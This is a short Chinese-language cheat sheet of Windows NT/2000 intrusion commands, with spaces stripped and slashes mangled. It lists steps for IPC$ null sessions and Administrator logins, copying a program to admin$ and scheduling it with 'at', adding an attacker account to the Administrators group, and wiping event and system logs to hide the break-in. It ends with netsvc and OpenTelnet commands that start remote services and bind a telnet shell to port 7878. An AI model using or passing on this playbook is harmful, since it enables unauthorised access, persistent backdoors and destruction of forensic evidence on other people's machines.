（与远程
主机建立空管连接）netuse//IP
地址/ipc$""/use:""
（以管理员身份登录远程主机）netuse//IP地址/ipc$"
密码"/use:"Administrator"
（传送文件到远程主机WINNT目录下）copy本机目录路径/程序//IP地址/admin$
（查看远程主机时间）nettime//IP地址
（定时启动某个程序）at//IP地址02:18readme.exe
（查看共享）netview//IP地址
（查看netbios工作组列表）nbtstat-AIP地址
（将远程主机C盘映射为自己的F盘）netusef://IP地址/c$""/user:"Administrator"
（这两条把自己增加到管理员组）：netuser
用户名密码/add
netlocalgroupAdministrators用户名/add
（断开连接）netuse//IP地址/ipc$/delete
扫尾：
delC:/winnt/system32/logfiles/*.*
delC:/winnt/ssytem32/config/*.evt
delC:/winnt/system32/dtclog/*.*
delC:/winnt/system32/*.log
delC:/winnt/system32/*.txt
delC:/winnt/*.txt
delC:/winnt/*.log
一、netsvc.exe
下面的命令分别是列出主机上的服务项目、查寻和远程启动主机的时间任务服务：
netsvc/list//IP地址
netsvcschedule//IP地址/query
netsvc//IP地址schedule/start
二、OpenTelnet.exe
远程启动主机的Telnet服务，并绑定
端口到7878，例如：
OpenTelnet//IP地址用户名密码17878
然后就可以telnet到主机的7878端口，进入DOS方式下：
telnetIP地址7878